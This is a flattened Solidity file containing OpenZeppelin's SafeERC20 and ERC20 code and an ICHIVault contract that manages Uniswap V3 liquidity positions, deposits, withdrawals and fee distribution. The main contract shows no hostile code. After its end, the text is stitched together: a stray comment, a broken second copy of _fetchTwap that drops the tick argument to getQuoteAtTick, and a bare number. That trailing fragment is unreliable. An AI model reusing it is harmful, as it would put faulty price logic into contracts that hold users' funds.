must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; ////import "../../utils/Context.sol"; ////import "./IERC20.sol"; ////import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: BUSL-1.1 pragma solidity 0.7.6; ////import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; ////import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; ////import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; ////import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; ////import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; ////import {UV3Math} from "./lib/UV3Math.sol"; ////import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; ////import {IUniswapV3MintCallback} from "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol"; ////import {IUniswapV3SwapCallback} from "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol"; ////import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; ////import {IICHIVault} from "../interfaces/IICHIVault.sol"; ////import {IICHIVaultFactory} from "../interfaces/IICHIVaultFactory.sol"; /** @notice A Uniswap V2-like interface with fungible liquidity to Uniswap V3 which allows for either one-sided or two-sided liquidity provision. ICHIVaults should be deployed by the ICHIVaultFactory. ICHIVaults should not be used with tokens that charge transaction fees. */ contract ICHIVault is IICHIVault, IUniswapV3MintCallback, IUniswapV3SwapCallback, ERC20, ReentrancyGuard, Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; address public immutable override ichiVaultFactory; address public immutable override pool; address public immutable override token0; address public immutable override token1; bool public immutable override allowToken0; bool public immutable override allowToken1; uint24 public immutable override fee; int24 public immutable override tickSpacing; address public override affiliate; int24 public override baseLower; int24 public override baseUpper; int24 public override limitLower; int24 public override limitUpper; // The following three variables serve the very ////important purpose of // limiting inventory risk and the arbitrage opportunities made possible by // instant deposit & withdrawal. // If, in the ETHUSDT pool at an ETH price of 2500 USDT, I deposit 100k // USDT in a pool with 40 WETH, and then directly afterwards withdraw 50k // USDT and 20 WETH (this is of equivalent dollar value), I drastically // change the pool composition and additionally decreases deployed capital // by 50%. Keeping a maxTotalSupply just above our current total supply // means that large amounts of funds can't be deposited all at once to // create a large imbalance of funds or to sideline many funds. // Additionally, deposit maximums prevent users from using the pool as // a counterparty to trade assets against while avoiding uniswap fees // & slippage--if someone were to try to do this with a large amount of // capital they would be overwhelmed by the gas fees necessary to call // deposit & withdrawal many times. uint256 public override deposit0Max; uint256 public override deposit1Max; uint256 public override maxTotalSupply; uint256 public override hysteresis; uint256 public constant PRECISION = 10**18; uint256 constant PERCENT = 100; address constant NULL_ADDRESS = address(0); uint32 public twapPeriod; /** @notice creates an instance of ICHIVault based on the pool. allowToken parameters control whether the ICHIVault allows one-sided or two-sided liquidity provision @param _pool Uniswap V3 pool for which liquidity is managed @param _allowToken0 flag that indicates whether token0 is accepted during deposit @param _allowToken1 flag that indicates whether token1 is accepted during deposit @param __owner Owner of the ICHIVault */ constructor( address _pool, bool _allowToken0, bool _allowToken1, address __owner, uint32 _twapPeriod ) ERC20("ICHI Vault Liquidity", "ICHI_Vault_LP") { require(_pool != NULL_ADDRESS, "IV.constructor: zero address"); require(_allowToken0 || _allowToken1, 'IV.constructor: no allowed tokens'); ichiVaultFactory = msg.sender; pool = _pool; token0 = IUniswapV3Pool(_pool).token0(); token1 = IUniswapV3Pool(_pool).token1(); fee = IUniswapV3Pool(_pool).fee(); allowToken0 = _allowToken0; allowToken1 = _allowToken1; twapPeriod = _twapPeriod; tickSpacing = IUniswapV3Pool(_pool).tickSpacing(); transferOwnership(__owner); maxTotalSupply = 0; // no cap hysteresis = PRECISION.div(PERCENT); // 1% threshold deposit0Max = uint256(-1); // max uint256 deposit1Max = uint256(-1); // max uint256 affiliate = NULL_ADDRESS; // by default there is no affiliate address emit DeployICHIVault( msg.sender, _pool, _allowToken0, _allowToken1, __owner, _twapPeriod ); } function setTwapPeriod(uint32 newTwapPeriod) external onlyOwner { require(newTwapPeriod > 0, "IV.setTwapPeriod: missing period"); twapPeriod = newTwapPeriod; emit SetTwapPeriod(msg.sender, newTwapPeriod); } /** @notice Distributes shares to depositor equal to the token1 value of his deposit multiplied by the ratio of total liquidity shares issued divided by the pool's AUM measured in token1 value. @param deposit0 Amount of token0 transfered from sender to ICHIVault @param deposit1 Amount of token0 transfered from sender to ICHIVault @param to Address to which liquidity tokens are minted @param shares Quantity of liquidity tokens minted as a result of deposit */ function deposit( uint256 deposit0, uint256 deposit1, address to ) external override nonReentrant returns (uint256 shares) { require(allowToken0 || deposit0 == 0, "IV.deposit: token0 not allowed"); require(allowToken1 || deposit1 == 0, "IV.deposit: token1 not allowed"); require( deposit0 > 0 || deposit1 > 0, "IV.deposit: deposits must be > 0" ); require( deposit0 < deposit0Max && deposit1 < deposit1Max, "IV.deposit: deposits too large" ); require(to != NULL_ADDRESS && to != address(this), "IV.deposit: to"); // update fees for inclusion in total pool amounts (uint128 baseLiquidity, , ) = _position(baseLower, baseUpper); if (baseLiquidity > 0) { (uint burn0, uint burn1) = IUniswapV3Pool(pool).burn(baseLower, baseUpper, 0); require(burn0 == 0 && burn1 == 0, "IV.deposit: unexpected burn (1)"); } (uint128 limitLiquidity, , ) = _position(limitLower, limitUpper); if (limitLiquidity > 0) { (uint burn0, uint burn1) = IUniswapV3Pool(pool).burn(limitLower, limitUpper, 0); require(burn0 == 0 && burn1 == 0, "IV.deposit: unexpected burn (2)"); } // Spot uint256 price = _fetchSpot( token0, token1, currentTick(), PRECISION ); // TWAP uint256 twap = _fetchTwap( pool, token0, token1, twapPeriod, PRECISION); // if difference between spot and twap is too big, check if the price may have been manipulated in this block uint256 delta = (price > twap) ? price.sub(twap).mul(PRECISION).div(price) : twap.sub(price).mul(PRECISION).div(twap); if (delta > hysteresis) require(checkHysteresis(), "IV.deposit: try later"); (uint256 pool0, uint256 pool1) = getTotalAmounts(); // aggregated deposit uint256 deposit0PricedInToken1 = deposit0.mul((price < twap) ? price : twap).div(PRECISION); if (deposit0 > 0) { IERC20(token0).safeTransferFrom( msg.sender, address(this), deposit0 ); } if (deposit1 > 0) { IERC20(token1).safeTransferFrom( msg.sender, address(this), deposit1 ); } shares = deposit1.add(deposit0PricedInToken1); if (totalSupply() != 0) { uint256 pool0PricedInToken1 = pool0.mul((price > twap) ? price : twap).div(PRECISION); shares = shares.mul(totalSupply()).div( pool0PricedInToken1.add(pool1) ); } _mint(to, shares); emit Deposit(msg.sender, to, shares, deposit0, deposit1); // Check total supply cap not exceeded. A value of 0 means no limit. require( maxTotalSupply == 0 || totalSupply() <= maxTotalSupply, "IV.deposit: maxTotalSupply" ); } /** @notice Redeems shares by sending out a percentage of the ICHIVault's AUM - this percentage is equal to the percentage of total issued shares represented by the redeeemed shares. @param shares Number of liquidity tokens to redeem as pool assets @param to Address to which redeemed pool assets are sent @param amount0 Amount of token0 redeemed by the submitted liquidity tokens @param amount1 Amount of token1 redeemed by the submitted liquidity tokens */ function withdraw(uint256 shares, address to) external override nonReentrant returns (uint256 amount0, uint256 amount1) { require(shares > 0, "IV.withdraw: shares"); require(to != NULL_ADDRESS, "IV.withdraw: to"); // Withdraw liquidity from Uniswap pool (uint256 base0, uint256 base1) = _burnLiquidity( baseLower, baseUpper, _liquidityForShares(baseLower, baseUpper, shares), to, false ); (uint256 limit0, uint256 limit1) = _burnLiquidity( limitLower, limitUpper, _liquidityForShares(limitLower, limitUpper, shares), to, false ); // Push tokens proportional to unused balances uint256 _totalSupply = totalSupply(); uint256 unusedAmount0 = IERC20(token0) .balanceOf(address(this)) .mul(shares) .div(_totalSupply); uint256 unusedAmount1 = IERC20(token1) .balanceOf(address(this)) .mul(shares) .div(_totalSupply); if (unusedAmount0 > 0) IERC20(token0).safeTransfer(to, unusedAmount0); if (unusedAmount1 > 0) IERC20(token1).safeTransfer(to, unusedAmount1); amount0 = base0.add(limit0).add(unusedAmount0); amount1 = base1.add(limit1).add(unusedAmount1); _burn(msg.sender, shares); emit Withdraw(msg.sender, to, shares, amount0, amount1); } /** @notice Updates ICHIVault's LP positions. @dev The base position is placed first with as much liquidity as possible and is typically symmetric around the current price. This order should use up all of one token, leaving some unused quantity of the other. This unused amount is then placed as a single-sided order. @param _baseLower The lower tick of the base position @param _baseUpper The upper tick of the base position @param _limitLower The lower tick of the limit position @param _limitUpper The upper tick of the limit position @param swapQuantity Quantity of tokens to swap; if quantity is positive, `swapQuantity` token0 are swaped for token1, if negative, `swapQuantity` token1 is swaped for token0 */ function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, int256 swapQuantity ) external override nonReentrant onlyOwner { require( _baseLower < _baseUpper && _baseLower % tickSpacing == 0 && _baseUpper % tickSpacing == 0, "IV.rebalance: base position invalid" ); require( _limitLower < _limitUpper && _limitLower % tickSpacing == 0 && _limitUpper % tickSpacing == 0, "IV.rebalance: limit position invalid" ); // update fees (uint128 baseLiquidity, , ) = _position(baseLower, baseUpper); if (baseLiquidity > 0) { IUniswapV3Pool(pool).burn(baseLower, baseUpper, 0); } (uint128 limitLiquidity, , ) = _position(limitLower, limitUpper); if (limitLiquidity > 0) { IUniswapV3Pool(pool).burn(limitLower, limitUpper, 0); } // Withdraw all liquidity and collect all fees from Uniswap pool (, uint256 feesBase0, uint256 feesBase1) = _position( baseLower, baseUpper ); (, uint256 feesLimit0, uint256 feesLimit1) = _position( limitLower, limitUpper ); uint256 fees0 = feesBase0.add(feesLimit0); uint256 fees1 = feesBase1.add(feesLimit1); _burnLiquidity( baseLower, baseUpper, baseLiquidity, address(this), true ); _burnLiquidity( limitLower, limitUpper, limitLiquidity, address(this), true ); _distributeFees(fees0, fees1); emit Rebalance( currentTick(), IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), fees0, fees1, totalSupply() ); // swap tokens if required if (swapQuantity != 0) { IUniswapV3Pool(pool).swap( address(this), swapQuantity > 0, swapQuantity > 0 ? swapQuantity : -swapQuantity, swapQuantity > 0 ? UV3Math.MIN_SQRT_RATIO + 1 : UV3Math.MAX_SQRT_RATIO - 1, abi.encode(address(this)) ); } baseLower = _baseLower; baseUpper = _baseUpper; baseLiquidity = _liquidityForAmounts( baseLower, baseUpper, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)) ); _mintLiquidity(baseLower, baseUpper, baseLiquidity); limitLower = _limitLower; limitUpper = _limitUpper; limitLiquidity = _liquidityForAmounts( limitLower, limitUpper, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)) ); _mintLiquidity(limitLower, limitUpper, limitLiquidity); } /** @notice Sends portion of swap fees to feeRecipient and affiliate. @param fees0 fees for token0 @param fees1 fees for token1 */ function _distributeFees(uint256 fees0, uint256 fees1) internal { uint256 baseFee = IICHIVaultFactory(ichiVaultFactory).baseFee(); // if there is no affiliate 100% of the baseFee should go to feeRecipient uint256 baseFeeSplit = (affiliate == NULL_ADDRESS) ? PRECISION : IICHIVaultFactory(ichiVaultFactory).baseFeeSplit(); address feeRecipient = IICHIVaultFactory(ichiVaultFactory).feeRecipient(); require(baseFee <= PRECISION, "IV.rebalance: fee must be <= 10**18"); require(baseFeeSplit <= PRECISION, "IV.rebalance: split must be <= 10**18"); require(feeRecipient != NULL_ADDRESS, "IV.rebalance: zero address"); if (baseFee > 0) { if (fees0 > 0) { uint256 totalFee = fees0.mul(baseFee).div(PRECISION); uint256 toRecipient = totalFee.mul(baseFeeSplit).div(PRECISION); uint256 toAffiliate = totalFee.sub(toRecipient); IERC20(token0).safeTransfer(feeRecipient, toRecipient); if (toAffiliate > 0) { IERC20(token0).safeTransfer(affiliate, toAffiliate); } } if (fees1 > 0) { uint256 totalFee = fees1.mul(baseFee).div(PRECISION); uint256 toRecipient = totalFee.mul(baseFeeSplit).div(PRECISION); uint256 toAffiliate = totalFee.sub(toRecipient); IERC20(token1).safeTransfer(feeRecipient, toRecipient); if (toAffiliate > 0) { IERC20(token1).safeTransfer(affiliate, toAffiliate); } } } } /** @notice Mint liquidity in Uniswap V3 pool. @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param liquidity Amount of liquidity to mint @param amount0 Used amount of token0 @param amount1 Used amount of token1 */ function _mintLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns (uint256 amount0, uint256 amount1) { if (liquidity > 0) { (amount0, amount1) = IUniswapV3Pool(pool).mint( address(this), tickLower, tickUpper, liquidity, abi.encode(address(this)) ); } } /** @notice Burn liquidity in Uniswap V3 pool. @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param liquidity amount of liquidity to burn @param to The account to receive token0 and token1 amounts @param collectAll Flag that indicates whether all token0 and token1 tokens should be collected or only the ones released during this burn @param amount0 released amount of token0 @param amount1 released amount of token1 */ function _burnLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity, address to, bool collectAll ) internal returns (uint256 amount0, uint256 amount1) { if (liquidity > 0) { // Burn liquidity (uint256 owed0, uint256 owed1) = IUniswapV3Pool(pool).burn( tickLower, tickUpper, liquidity ); // Collect amount owed uint128 collect0 = collectAll ? type(uint128).max : _uint128Safe(owed0); uint128 collect1 = collectAll ? type(uint128).max : _uint128Safe(owed1); if (collect0 > 0 || collect1 > 0) { (amount0, amount1) = IUniswapV3Pool(pool).collect( to, tickLower, tickUpper, collect0, collect1 ); } } } /** @notice Calculates liquidity amount for the given shares. @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param shares number of shares */ function _liquidityForShares( int24 tickLower, int24 tickUpper, uint256 shares ) internal view returns (uint128) { (uint128 position, , ) = _position(tickLower, tickUpper); return _uint128Safe(uint256(position).mul(shares).div(totalSupply())); } /** @notice Returns information about the liquidity position. @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param liquidity liquidity amount @param tokensOwed0 amount of token0 owed to the owner of the position @param tokensOwed1 amount of token1 owed to the owner of the position */ function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128 liquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) { bytes32 positionKey = keccak256( abi.encodePacked(address(this), tickLower, tickUpper) ); (liquidity, , , tokensOwed0, tokensOwed1) = IUniswapV3Pool(pool) .positions(positionKey); } /** @notice Callback function for mint @dev this is where the payer transfers required token0 and token1 amounts @param amount0 required amount of token0 @param amount1 required amount of token1 @param data encoded payer's address */ function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(pool), "cb1"); address payer = abi.decode(data, (address)); if (payer == address(this)) { if (amount0 > 0) IERC20(token0).safeTransfer(msg.sender, amount0); if (amount1 > 0) IERC20(token1).safeTransfer(msg.sender, amount1); } else { if (amount0 > 0) IERC20(token0).safeTransferFrom(payer, msg.sender, amount0); if (amount1 > 0) IERC20(token1).safeTransferFrom(payer, msg.sender, amount1); } } /** @notice Callback function for swap @dev this is where the payer transfers required token0 and token1 amounts @param amount0Delta required amount of token0 @param amount1Delta required amount of token1 @param data encoded payer's address */ function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external override { require(msg.sender == address(pool), "cb2"); address payer = abi.decode(data, (address)); if (amount0Delta > 0) { if (payer == address(this)) { IERC20(token0).safeTransfer(msg.sender, uint256(amount0Delta)); } else { IERC20(token0).safeTransferFrom( payer, msg.sender, uint256(amount0Delta) ); } } else if (amount1Delta > 0) { if (payer == address(this)) { IERC20(token1).safeTransfer(msg.sender, uint256(amount1Delta)); } else { IERC20(token1).safeTransferFrom( payer, msg.sender, uint256(amount1Delta) ); } } } /** @notice Checks if the last price change happened in the current block */ function checkHysteresis() private view returns(bool) { (, , uint16 observationIndex, , , , ) = IUniswapV3Pool(pool).slot0(); (uint32 blockTimestamp, , ,) = IUniswapV3Pool(pool).observations(observationIndex); return( block.timestamp != blockTimestamp ); } /** @notice Sets the maximum liquidity token supply the contract allows @dev onlyOwner @param _maxTotalSupply The maximum liquidity token supply the contract allows */ function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyOwner { maxTotalSupply = _maxTotalSupply; emit MaxTotalSupply(msg.sender, _maxTotalSupply); } /** @notice Sets the hysteresis threshold (in percentage points, 10**16 = 1%). When difference between spot price and TWAP exceeds the threshold, a check for a flashloan attack is executed @dev onlyOwner @param _hysteresis hysteresis threshold */ function setHysteresis(uint256 _hysteresis) external onlyOwner { hysteresis = _hysteresis; emit Hysteresis(msg.sender, _hysteresis); } /** @notice Sets the affiliate account address where portion of the collected swap fees will be distributed @dev onlyOwner @param _affiliate The affiliate account address */ function setAffiliate(address _affiliate) external override onlyOwner { affiliate = _affiliate; emit Affiliate(msg.sender, _affiliate); } /** @notice Sets the maximum token0 and token1 amounts the contract allows in a deposit @dev onlyOwner @param _deposit0Max The maximum amount of token0 allowed in a deposit @param _deposit1Max The maximum amount of token1 allowed in a deposit */ function setDepositMax(uint256 _deposit0Max, uint256 _deposit1Max) external override onlyOwner { deposit0Max = _deposit0Max; deposit1Max = _deposit1Max; emit DepositMax(msg.sender, _deposit0Max, _deposit1Max); } /** @notice Calculates token0 and token1 amounts for liquidity in a position @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param liquidity Amount of liquidity in the position */ function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(pool).slot0(); return UV3Math.getAmountsForLiquidity( sqrtRatioX96, UV3Math.getSqrtRatioAtTick(tickLower), UV3Math.getSqrtRatioAtTick(tickUpper), liquidity ); } /** @notice Calculates amount of liquidity in a position for given token0 and token1 amounts @param tickLower The lower tick of the liquidity position @param tickUpper The upper tick of the liquidity position @param amount0 token0 amount @param amount1 token1 amount */ function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1 ) internal view returns (uint128) { (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(pool).slot0(); return UV3Math.getLiquidityForAmounts( sqrtRatioX96, UV3Math.getSqrtRatioAtTick(tickLower), UV3Math.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /** @notice uint128Safe function @param x input value */ function _uint128Safe(uint256 x) internal pure returns (uint128) { require(x <= type(uint128).max, "IV.128_OF"); return uint128(x); } /** @notice Calculates total quantity of token0 and token1 in both positions (and unused in the ICHIVault) @param total0 Quantity of token0 in both positions (and unused in the ICHIVault) @param total1 Quantity of token1 in both positions (and unused in the ICHIVault) */ function getTotalAmounts() public view override returns (uint256 total0, uint256 total1) { (, uint256 base0, uint256 base1) = getBasePosition(); (, uint256 limit0, uint256 limit1) = getLimitPosition(); total0 = IERC20(token0).balanceOf(address(this)).add(base0).add(limit0); total1 = IERC20(token1).balanceOf(address(this)).add(base1).add(limit1); } /** @notice Calculates amount of total liquidity in the base position @param liquidity Amount of total liquidity in the base position @param amount0 Estimated amount of token0 that could be collected by burning the base position @param amount1 Estimated amount of token1 that could be collected by burning the base position */ function getBasePosition() public view returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ) { ( uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) = _position(baseLower, baseUpper); (amount0, amount1) = _amountsForLiquidity( baseLower, baseUpper, positionLiquidity ); liquidity = positionLiquidity; amount0 = amount0.add(uint256(tokensOwed0)); amount1 = amount1.add(uint256(tokensOwed1)); } /** @notice Calculates amount of total liquidity in the limit position @param liquidity Amount of total liquidity in the base position @param amount0 Estimated amount of token0 that could be collected by burning the limit position @param amount1 Estimated amount of token1 that could be collected by burning the limit position */ function getLimitPosition() public view returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ) { ( uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) = _position(limitLower, limitUpper); (amount0, amount1) = _amountsForLiquidity( limitLower, limitUpper, positionLiquidity ); liquidity = positionLiquidity; amount0 = amount0.add(uint256(tokensOwed0)); amount1 = amount1.add(uint256(tokensOwed1)); } /** @notice Returns current price tick @param tick Uniswap pool's current price tick */ function currentTick() public view returns (int24 tick) { (, int24 tick_, , , , , bool unlocked_) = IUniswapV3Pool(pool).slot0(); require(unlocked_, "IV.currentTick: the pool is locked"); tick = tick_; } /** @notice returns equivalent _tokenOut for _amountIn, _tokenIn using spot price @param _tokenIn token the input amount is in @param _tokenOut token for the output amount @param _tick tick for the spot price @param _amountIn amount in _tokenIn @param amountOut equivalent anount in _tokenOut */ function _fetchSpot( address _tokenIn, address _tokenOut, int24 _tick, uint256 _amountIn ) internal pure returns (uint256 amountOut) { return UV3Math.getQuoteAtTick( _tick, UV3Math.toUint128(_amountIn), _tokenIn, _tokenOut ); } /** @notice returns equivalent _tokenOut for _amountIn, _tokenIn using TWAP price @param _pool Uniswap V3 pool address to be used for price checking @param _tokenIn token the input amount is in @param _tokenOut token for the output amount @param _twapPeriod the averaging time period @param _amountIn amount in _tokenIn @param amountOut equivalent anount in _tokenOut */ function _fetchTwap( address _pool, address _tokenIn, address _tokenOut, uint32 _twapPeriod, uint256 _amountIn ) internal view returns (uint256 amountOut) { // Leave twapTick as a int256 to avoid solidity casting int256 twapTick = UV3Math.consult(_pool, _twapPeriod); return UV3Math.getQuoteAtTick( int24(twapTick), // can assume safe being result from consult() UV3Math.toUint128(_amountIn), _tokenIn, _tokenOut ); } }
/ Leave twapTick as a int256 to avoid solidity casting
function _fetchTwap( address _pool, address _tokenIn, address _tokenOut, uint32 _twapPeriod, uint256 _amountIn ) internal view returns (uint256 amountOut) { int256 twapTick = UV3Math.consult(_pool, _twapPeriod); return UV3Math.getQuoteAtTick( UV3Math.toUint128(_amountIn), _tokenIn, _tokenOut ); }
1,119,811
